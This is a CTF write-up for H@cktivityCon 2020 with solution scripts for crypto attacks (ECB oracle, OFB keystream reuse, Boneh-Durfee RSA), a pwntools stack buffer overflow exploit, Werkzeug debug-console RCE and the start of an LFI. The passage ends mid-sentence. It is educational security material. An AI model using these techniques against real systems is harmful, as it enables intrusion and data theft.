# **H@cktivityCon CTF 2020** <div align='center'> </div> This is my writeup for the challenges in H@cktivityCon CTF 2020, for more writeups of this CTF you can check out [this list](https://github.com/oxy-gendotmobi/ctf.hacktivitycon.2020.writeup.reference) or [CTFtime](https://ctftime.org/event/1101/tasks/) *** # Table of Content* [Cryptography](#cryptography) - [Tyrannosaurus Rex](#tyrannosaurus-rex) - [Perfect XOR](#perfect-xor) - [Bon Appetit](#bon-appetit) - [A E S T H E T I C](#a-e-s-t-h-e-t-i-c) - [OFBuscated](#ofbuscated)* [Binary Exploitation](#binary-exploitation) - [Pancakes](#pancakes)* [Web](#web) - [Ladybug](#ladybug) - [Bite](#bite) - [GI Joe](#gi-joe) - [Waffle Land](#waffle-land) - [Lightweight Contact Book](#lightweight-contact-book) - [Template Shack](#template-shack) *** # Cryptography ## Tyrannosaurus RexWe found this fossil. Can you reverse time and bring this back to life? Download the file below.\[fossil](assets//scripts//fossil) **`flag{tyrannosauras_xor_in_reverse}`** **Solution:** With the challenge we get a file named fossil, running the `file` command reveals that this is actually a python script: ```python#!/usr/bin/env python import base64import binascii h = binascii.hexlifyb = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def enc(f): e = b(f) z = [] i = 0 while i < len(e): z += [ e[i] ^ e[((i + 1) % len(e))]] i = i + 1 c = h(bytearray(z)) return c``` This script contains a function called enc which is seemingly an encryption scheme and a variable c which we can guess is the product of running the function enc on the flag, so we may need to implement a decryption scheme matching the given encryption scheme, for my sanity let's first deobfuscate the code a bit: ```python#!/usr/bin/env python import base64import binascii cipher = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def encyption(flag): encoded = base64.b64encode(flag) z = [] for i in range(len(encoded)) z += [ encoded[i] ^ encoded[((i + 1) % len(encoded))]] c = binascii.hexlify(bytearray(z)) return c```Much better, now that we can actually read the code let's see what it does, the function enc first encodes the string to base64, then iterates over each character and xors each one with the one after it (the last character is xorred with the first), the bytes received by xorring are placed in an array and the array is encoded to hex. We can break it down to 3 parts: base64 encoding, cyclic xorring and hex encoding, the first and the last are easy to reverse as the packages used for this parts contain the reverse functions, but the second part is trickier. We can notice something interesting with the encryption in the second part, if we think of the first character as the initialization vector, then the encryption is similar to encryption with Cipher Block Chaining (CBC) mode of operation with no block cipher (the block cipher is an identity function) and a block size of one, Cipher Block Chaining or CBC is a block cipher mode of operation, modes of operation split the plaintext into blocks of a size manageable by a cipher (for example AES works with blocks of sizes 128, 192 and 256 bits) and append the resulting ciphertext blocks together, a schema of the operation of CBC: <div align=center> </div> So in our case because there is no block cipher so no key the only value needed for decryption is the initialization vector or in other words the only thing that we miss on order to encrypt the whole ciphertext is the first letter....so we can just bruteforce it! For those who didn't understand my argument, let's say we know the first character, we can xor it with the first character of the ciphertext to get the second character in the plaintext (by the properties of xor for values a,b we get a ^ b ^ b = a and the first character in the cipher text is the first character in the plaintext xorred with the second character in the plaintext), by using the second character we can get the third character doing the same operations and so on until we have decrypted all the ciphertext. For doing so I wrote the following script which goes through all the characters in base64 and for each one tries to decrypt the message as if it's the first character in the plaintext: ```python#!/usr/bin/env python import base64import binasciiimport string def dec(f): # part 3 - hex z = binascii.unhexlify(f) # part 2 - cyclic xorring (CBC) for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + '/+=': e = bytearray([ord(c)]) for i in range(len(z) - 1): e += bytearray([z[i] ^ e[i]]) # part 3 - base64 try: p = base64.b64decode(e) # checks if the flag is in the plaintext if b'flag' in p: print(c, p.decode('utf-8')) except: continue``` and by running this script we get the flag: ![](assets//images//fossil_2.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and CBC: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## Perfect XORCan you decrypt the flag? Download the file below.\[decrypt.py](assets//scripts//decrypt.py) **`flag{tHE_br0kEN_Xor}`** **Solution:** with the challenge we get a python script: ```pythonimport base64n = 1i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" def a(n): b = 0 for i in range(1, n): if(n % i == 0): b += i return b == n print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): if (a(n)): print(chr(int(cipher[i]) ^ n), end='', flush=True) i += 1 n+=1 print("}")``` by the name of the file we can infer that the code purpose is to decrypt the ciphertext stored in cipher_b64 and hopefully print the flag, but it seems a little bit slow... ![](assets//images//perfect_1.gif) at this point it's somewhat stop printing characters but still runs.\This challenge is quite similar to a challenge in nahamCon CTF called Homecooked (make sense as it's the same organizers), in it there was an inefficient primality check that made the code unreasonably slow, so we might be up against something like that, let's look at the code, it first prints the start of the flag format, then it decodes the ciphertext and splits in into an array of strings, then for each string it tries to find a value of n bigger than the one used previously that makes a return the Boolean value True (for the first string it just finds the first one bigger than zero that satisfy a) if the code discovered a matching n it then xors n with the string and prints the result, this part is coded somewhat efficient so let's move on to function a, for argument n the function goes through all the numbers smaller than n and checks for each one if it divides n, if so it adds it to a running total, in the end the function check if the sum is equal to n and return True if so otherwise it returns False. Basically a checks if the sum of the divisors of n is equal to n, numbers that satisfy this are often called perfect numbers and there are more efficient ways to find them, we have discovered that all even perfect numbers are of the form p * ( p + 1 ) / 2 where p is a Mersenne prime, which are primes of the form 2 ** q - 1 for some integer q, furthermore we still haven't discovered any odd perfect number so all the perfect numbers known to us (and important for this challenge) are even perfect number, so I took a list of q's off the internet (the integers that make up Mersenne primes) and modified the code a bit so that instead of trying to find a perfect number it just uses the next q on the list to create one (I also tried to find a formatted list of perfect numbers or of Mersenne primes themselves but didn't find any): ```pythonimport base64from functools import reduce mersenne = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433, 1257787, 1398269, 2976221, 3021377, 6972593, 13466917, 20996011, 24036583, 25964951, 30402457] i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): p = 2 ** (mersenne[i] - 1) * (2 ** mersenne[i] - 1) print(chr(int(cipher[i]) ^ p),end='', flush=True) i += 1 print("}")``` And by running this more efficient code we get the flag in no time: ![](assets//images//perfect_2.gif) **Resources:*** Perfect Number: https://en.wikipedia.org/wiki/Perfect_number* Mersenne Prime: https://en.wikipedia.org/wiki/Mersenne_prime* The list I used: https://www.math.utah.edu/~pa/math/mersenne.html#:~:text=p%20%3D%202%2C%203%2C%205,%2C%2024036583%2C%2025964951%2C%2030402457 ## Bon AppetitWow, look at the size of that! There is just so much to eat! Download the file below.\[prompt.txt](assets//files//prompt.txt) **Post-CTF Writeup**\**`flag{bon_appetit_that_was_one_big_meal}`** **Solution:** With the challenge we get a text file with the following content: ```n = 86431753033855985150102208955150746586984567379198773779001331665367046453352820308880271669822455250275431988006538670370772552305524017849991185913742092236107854495476674896994207609393292792117921602704960758666683584350417558805524933062668049116636465650763347823718120563639928978056322149710777096619 e = 43593315545590924566741189956390609253174017258933397294791907025439424425774036889638411588405163282027748339397612059157433970580764560513322386317250465583343254411506953895016705520492303066099891805233630388103484393657354623514864187319578938539051552967682959449373268200012558801313113531016410903723 c = 6017385445033775122298094219645257172271491520435372858165807340335108272067850311951631832540055908237902072239439990174700038153658826905580623598761388867106266417340542206012950531616502674237610428277052393911078615817819668756516229271606749753721145798023983027473008670407713937202613809743778378902``` This is obviously an RSA encryption with n being the modulus, e being the public exponent and c being a ciphertext, as I explained in previous challenges: > ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n... The common methods for breaking RSA is using a factor database that stores factors or using somewhat efficient algorithms and heuristics in order to factor the modulus n if n is relatively small or easy to factor, both won't work with an n as big as that, so we need to use a less common attack. Notice the public exponent e, it's very big, almost as big as the modulus itself, we often use very small exponent such as 3 and 65537 (there's even a variant of RSA which uses 2 as the public exponent) so a usage of large public exponent is most likely an indication that the private exponent d is small. For small private exponents there are 2 main attacks - Weiner's Attack and Boneh & Durfee's attack, the first attack is simpler and uses continued fraction to efficiently find d if d is smaller than modulus n to the power of 0.25, the later attack is much more complex relying on solving the small inverse problem efficiently to find d if d is smaller the modulus n to the power of 0.285 (or 0.292...the conclusions are inconclusive), after trying to use Weiner's attack and failing I succeeded in using Boneh & Durfee's attack. Unfortunately I can't explain in details how this attack works because it requires a lot of preliminary knowledge but I'll add both the papers of Weiner and Boneh & Durfee about the attacks in the resources for those interested (I'll maybe add an explanation later on the small inverse problem and how it's connected), for this attack I used a sage script I found online, updated it to python 3 and changed the size of the lattice to 6 and the value of delta (the power of n) to 0.26 to guarantee that the key is found, the modified code is [linked here](assets//scripts//buneh_durfee.sage) if you want to try it yourself (link for an online sage interpreter is in the resources), by running this code we find the private key and using it to decrypt the ciphertext we get the flag: ![](assets//images//bon_appetit_1.png) **Resources:*** Weiner's attack: http://monge.univ-mlv.fr/~jyt/Crypto/4/10.1.1.92.5261.pdf* Boneh & Durfee's attack: https://link.springer.com/content/pdf/10.1007%2F3-540-48910-X_1.pdf* Script used: https://www.cryptologie.net/article/241/implementation-of-boneh-and-durfee-attack-on-rsas-low-private-exponents/* Web Sage interpreter: https://sagecell.sagemath.org/ ## A E S T H E T I CI can't stop hearing MACINTOSH PLUS... Connect here:\`nc jh2i.com 50009` **Post-CTF Writeup**\**`flag{aes_that_ick_ecb_mode_lolz}`** **Solution:** we are given a port on a server to connect to, when we connect we are prompted to give input: ![](assets//images//aesthetic_1.png) btw if you don't see the image in the ASCII art maybe this will help: ![](assets//images//aesthetic_2.png) By giving input to the server we get an hex string in return with the message that the flag is sprinkled at the end: ![](assets//images//aesthetic_3.png) After a bit of fuzzing I discovered that for an empty input we receive an hex string with 64 characters, for input of length between the range of 1 to 32 we receive an hex string with length of 128 characters and for input with length bigger than 32 we get an hex string of length bigger than 128: ![](assets//images//aesthetic_4.png) furthermore by giving input with a length of 32 the second half of the hex string received is exactly the same as the hex string received when giving an empty input, this coupled with the reference to the block cipher AES in the challenge title led me to the conclusion that the server is using AES-ECB (AES with Electronic Codebook mode of operation) to encrypt our message appended to the flag and likely padded, as I explained in my writeup for Tyrannosaurus Rex modes of operation are used to allow block ciphers, which are limited by design to only specific lengths of plaintext, to encrypt information of any length, this is done by splitting the data into blocks, encrypting each block separately and then appending the resulting ciphertexts blocks together, ECB mode of operation encrypt every block in isolation where other modes of operation perform encryptions between blocks so that blocks with the same plaintext won't have the same ciphertext, but ECB don't do that meaning that **ECB encrypts the same plaintexts to the same ciphertexts**, a schema of this mode: <div align=center> </div> So now that we know how the hex value is created we can use a nice attack that John Hammond showed in a [recent video](https://www.youtube.com/watch?v=f-iz_ZAS258). Because we know that input of length higher than 32 gives us an output with 64 more characters than input with length of at most 32 we can deduce that the plaintext (our input appended to the flag and padded) is split into blocks of 32 characters, so when our input is 32 characters long the first block in the ciphertext (first 64 characters in the ciphertext) is entirely made out of our input and the second block in the ciphertext is the flag with the padding, and when our input is 31 characters long the first block in the ciphertext is our input with the first letter of the flag in the end. So we can choose a random string of 31 characters and iterate over all the characters and check if the first block in the ciphertext when the input is our string appended to this (so the block is entirely our input) is equal to the first block of the ciphertext when the input is only our string (so the block is our input and the first character of the flag), after finding the first letter we can do the same for the second letter using a string of 30 appended to the discovered letter and so on for all the letters using the start of the flag discovered so for as the end of the string, more formally: ![](assets//images//aesthetic_6.png) if you still don't understand the attack you should check out the video I linked above and the first comment of the video. For the attack I wrote the following code which does basically the same as I described, building the flag character by character: ```pythonfrom pwn import *import refrom string import ascii_lowercase, digits s = remote('jh2i.com', 50009)s.recvuntil("> ") flag = '' for i in range(1,33): s.sendline('a' * (32 - i)) base_block = re.findall('[a-f0-9]{64}', s.recvuntil("> ").decode('utf-8'))[0][:64] for c in '_{}' + ascii_lowercase + digits: s.sendline('a' * (32 - i) + flag + c) block = re.findall('[a-f0-9]{128}', s.recvuntil("> ").decode('utf-8'))[0][:64] if block == base_block: flag = flag + c print(flag) break s.close()```and running this script gives us the flag: ![](assets//images//aesthetic_7.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## OFBuscatedI just learned some lesser used AES versions and decided to make my own! Connect here:\`nc jh2i.com 50028` [obfuscated.py](assets//scripts//ofbuscated.py) **Post-CTF Writeup**\**`flag{bop_it_twist_it_pull_it_lol}`** **Solution:** With the challenge we are given a port on a server to connect to and a python script, let's start with the server, by connecting to it we get an hex string: ![](assets//images//obfuscated_1.png) and by reconnecting we get a different one: ![](assets//images//obfuscated_2.png) this doesn't give us a lot of information so let's look at the script: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() class Service(socketserver.BaseRequestHandler): def handle(self): assert len(flag) % 16 == 1 blocks = self.shuffle(flag) ct = self.encrypt(blocks) self.send(binascii.hexlify(ct)) def byte_xor(self, ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(self, blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(self.byte_xor(block, curr)) return b''.join(ct) def shuffle(self, pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(self, string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" self.request.sendall(string) def receive(self, prompt="> "): self.send(prompt, newline=False) return self.request.recv(4096).strip() class ThreadedService( socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler,): pass def main(): port = 3156 host = "0.0.0.0" service = Service server = ThreadedService((host, port), service) server.allow_reuse_address = True server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() print("Server started on " + str(server.server_address) + "!") # Now let the main thread just wait... while True: sleep(10) if __name__ == "__main__": main()``` From the main function we can assume that this is the script running on the port we get, but the function doesn't seems to be important so let's get rid of it and while we're at it remove the ThreadedService class and the receive function as there is no use for them: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() def handle(): assert len(flag) % 16 == 1 blocks = shuffle(flag) ct = encrypt(blocks) send(binascii.hexlify(ct)) def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(byte_xor(block, curr)) return b''.join(ct) def shuffle(pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" request.sendall(string) ``` Our most important function is handle, it start by asserting that the length of the flag modulo 16 is 1, so we now know that the length is 16 * k + 1 for some number k, then it invokes a function called shuffle, this function pads the flag to a length divided by 16, so the length after padding is 16 * (k + 1), notice that is uses the method pad from Crypto.Util.Padding, this method uses PKCS7 padding style by default which pads the length of the string to the end of it, so basically our flag is now padded with the number 16 * k + 1 for a total length of 16 * (k + 1), afterwards the method splits the padded flag into blocks of size 16 and shuffles the blocks using random.shuffle, so overall after invoking shuffle we are left with an array of k + 1 blocks in a random order, where each block is a length 16 and a part of the flag padded with his length. Afterwards, handle calls encrypt with the blocks as argument, for each block the method encrypt encrypts the variable iv using AES-ECB, it then xors it with the block and append the result to an array, this type of encryption is actually AES-OFB or in other words AES in Output Feedback mode of operation (it seems the organizers really love modes of operation), so as I explained in the previous challenge and a one before it modes of operation allows block ciphers to encrypt data of any length by splitting the data into blocks and encrypting each one separately and in the end appending the ciphertexts together, OFB is very interesting in that regard because the data itself is not encrypted by the block cipher in any stage but the initialization vector (iv) is, and each encrypted block of iv is xorred with a block of the plaintext to create the ciphertext, because of this trait we can think of using this mode of operation as using a one time pad (OTP), this is because we can perform all the encryptions of iv beforehand and only xor the plaintext with it when we need to much like using OTP (OTP is even stronger because the key is totally random), if you've know what is an OTP you probably can guess why this is bad and what we can exploit, a schema of this mode: <div align=center> </div> after encryption the ciphertext created is hexified and sent to the user. So why this is bad? as I said this encryption is basically OTP where the key is the encrypted iv, it is unsafe to reuse keys with one time pad encryption because if we have two ciphertext created by the same key c1 = m1 ^ k and c2 = m2 ^ k we can xor the ciphertext to get c1 ^ c2 = m1 ^ k ^ m2 ^ k = m1 ^ m2, also by having a message and its encryption we can retrieve the key (this is called a known plaintext attack), but why is all this relevant to us? well, because we actually know the value of the last block in the plaintext, but first let's find the length of the plaintext, we can do that by just decoding the hex value we get from the server to bytes and counting the number of bytes, by doing so we find that the length of the plaintext is 48 bytes meaning that 16 * ( k + 1 ) = 48 and k = 2, and so we now know that our flag has a length of 33 and the number of blocks in the encryption is 3, why we know the value of the last block? simply because we know that it comprises of the last character of the flag, which is a closing curly brace `}`, and then a padding using the number 33, and why this is bad? let's say we have a list of all the possible values of the first block of ciphertext (there are exactly 3), let them be b1, b2 and b3, one of them is obviously an encryption of the block we know, let's say its b2, and all of them are encrypted by xorring the same value k, so if we xor every block with every other block and xor that with the plaintext block we know 2 out of the 3 resulting blocks will be the other plaintext blocks, that's because xorring b2 with its plaintext results with k, and xorring k with every other block will result with the plaintext of b1 and b3, so we've just discovered all the blocks in the plaintext! So I wrote the following code to perform the attack, the code reconnects to server until it has all the possible values of the first block, then it xors the values between themselves and between the known plaintext block and check if the result is a printable string (it's very unlikely we'll get a printable result which is not in the flag), if so it finds its position in the flag (using the flag format) and prints the result: ```pythonfrom pwn import *import binasciifrom Crypto.Util.Padding import pad, unpadfrom string import printable def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) # all possible combinations of plaintext blocks and encrypted IVpossible_ct_blocks = [] # the most likely third and final blockthird_block = pad(b'a' * 32 + b'}', 16)[-16:] # the flagflag = [b'',b'', third_block] # finds all the values of the first block in the ciphertextwhile True: s = remote('jh2i.com', 50028) ct_block = binascii.unhexlify(s.recvline().decode('utf-8')[:-1])[:16] s.close() if ct_block not in possible_ct_blocks: possible_ct_blocks += [ct_block] if len(possible_ct_blocks) == 3: break # decrypts the data using knowladge of the third block and the posibility of it being in every positionfor j in range(3): xorred_block = bytes(byte_xor(possible_ct_blocks[j], possible_ct_blocks[(j + 1) % 3])) xorred_block = byte_xor(xorred_block, third_block) if all(chr(c) in printable for c in xorred_block): if b'flag' in xorred_block: flag[0] = xorred_block else: flag[1] = xorred_block print(unpad(b''.join(flag), 16).decode('utf-8'))```and we got the flag: ![](assets//images//obfuscated_4.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation* One Time Pad (OTP): https://en.wikipedia.org/wiki/One-time_pad *** # Binary Exploitation **Note:** For all the binary exploitation challenges I'll be working with [IDA free](https://www.hex-rays.com/products/ida/support/download_freeware/) and [pwntools](http://docs.pwntools.com/en/stable/) ## PancakesHow many flap-jacks are on your stack? Connect with:\`nc jh2i.com 50021` [pancakes](assets//executables//pancakes) **Post-CTF Writeup**\**`flag{too_many_pancakes_on_the_stack}`** **Solution:** With the challenge we are given an executable and a port on a server running this executable, by running this executable we can see that it asks for how many pancakes we want and then by giving it input it prints us a nice ASCII art of pancakes: ![](assets//images//pancakes_1.png) Okay now that we know what the executable does, let's see what we up against, using pwn.ELF() we can see which defenses the executable uses: <div align=center> </div> The executable doesn't use canaries to protect from buffer overflows so we might be able to overflow the return address of a subroutine and cause a segfault, let's try doing that: ![](assets//images//pancakes_3.png) We got a segfault! if you've noticed to cause the segfault I used a tool called `cyclic`, cyclic is a tool from pwntools which creates a string with a cyclic behavior, we can use this string in order to find the relative distance of important values on the stack from the start of the input buffer, the command `cyclic -n 8 400` creates a cyclic string of length 400 with cyclical substrings of length 8, let's try that again but now while debugging with IDA, by placing a breakpoint at the retn command (return from a subroutine command) of the main subroutine and looking at the value in the stack before the execution of the instruction, which is the address we return to, we can get the relative distance from the return address: ![](assets//images//pancakes_4.png) The value is `0x6161616161616174` or `aaaaaaat` in ASCII (I think I messed up this picture so believe me that this is the value), we can lookup the position of this substring using the command `cyclic -n 8 -o taaaaaaa` notice that I wrote the string in reverse, that is because data is written to the stack from right to left in IDA, by running this command we get an offset of 152 from the start of the buffer, and we have a way to jump to any point in the executable by overflowing the stack right until the return address and then modifying the value of the return address to what we choose, looking at the symbols we can see a subroutine named secret_recipe, this subroutine reads a file named flag.txt and then prints its content to the screen using puts: ![](assets//images//pancakes_5.png) this function obviously prints the flag, so let's jump to it, for that I wrote the following script in python using the pwn module (which is the module for pwntools), this script connects to the server, finds the address of the function secret_recipe and creates the matching payload so that the execution will return to this function after finishing with main,then the script sends the payload as input and print the flag received from the server: ```pythonfrom pwn import *import re e = ELF('pancakes')addr = p64(e.symbols['secret_recipe']) local = Falseif not local: s = remote('jh2i.com', 50021)else: s = process('pancakes') s.recv()s.sendline(b'A' * 152 + addr)response = s.recvall()print(re.findall('flag{.*}', response.decode('utf-8'))[0])s.close()``` and in action: ![](assets//images//pancakes_6.png) *** # Web ## LadybugWant to check out the new Ladybug Cartoon? It's still in production, so feel free to send in suggestions! Connect here:\http://jh2i.com:50018 **`flag{weurkzerg_the_worst_kind_of_debug}`** **Solution:** With the challenge we are given a url to a website: ![](assets//images//ladybug_1.png) The page seems pretty bare, there are some links to other pages in the website and an option to search the website or to contact ladybug using a form, I first tried checking if there's a XXS vulnerability in the contact page or a SQLi vulnerability / file inclusion vulnerability in the search option, that didn't seem to work, then I tried looking in the other pages in the hope that I'll discover something there, none of those seemed very interesting, but, their location in the webserver stood out to me, all of them are in the `film/` directory, the next logical step was to fuzz the directory, doing so I got an Error on the site: ![](assets//images//ladybug_2.png) This is great because we now know that the site is in debugging mode (we could also infer that from the challenge description but oh well), also we now know that the site is using Flask as a web framework, Flask is a web framework which became very popular in recent years mostly due to it simplicity, the framework depends on a web server gateway interface (WSGI) library called Werkzeug, A WSGI is a calling convention for web servers to forward requests to web frameworks (in our case Flask). Werkzeug also provides web servers with a debugger and a console to execute Python expression from, we can find this console by navigating to `/console`: ![](assets//images//ladybug_3.png) From this console we can execute commands on the server (RCE), let's first see who are we on the server, I used the following commands for that: ```pythonimport subprocess;out = subprocess.Popen(['whoami'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT);stdout,stderr = out.communicate();print(stdout);``` the command simply imports the subprocess library, creates a new process that executes `whoami` and prints the output of the command, by doing so we get: ![](assets//images//ladybug_4.png) The command worked!, now we can execute `ls` to see which files are in our working directory, doing so we can see that there's a file called flag.txt in there, and by using `cat` on the file we get the flag: ![](assets//images//ladybug_5.png) **Resources:*** Flask: https://en.wikipedia.org/wiki/Flask_(web_framework)* Flask RCE Debug Mode: http://ghostlulz.com/flask-rce-debug-mode/ ## BiteWant to learn about binary units of information? Check out the "Bite of Knowledge" website! Connect here:\http://jh2i.com:50010 **`flag{lfi_just_needed_a_null_byte}`** **Solution:** With the challenge we get a url for a website: ![](assets//images//bite_1.png) the site is about binary units, a possible clue for the exploit we need to use, it seems we can search the site or navigate to other pages, by looking at the url we can see that it uses a parameter called page for picking the resource to display, so the format is: `http://jh2i.com:50010/index.php?page=<resource>` we possibly have a local file 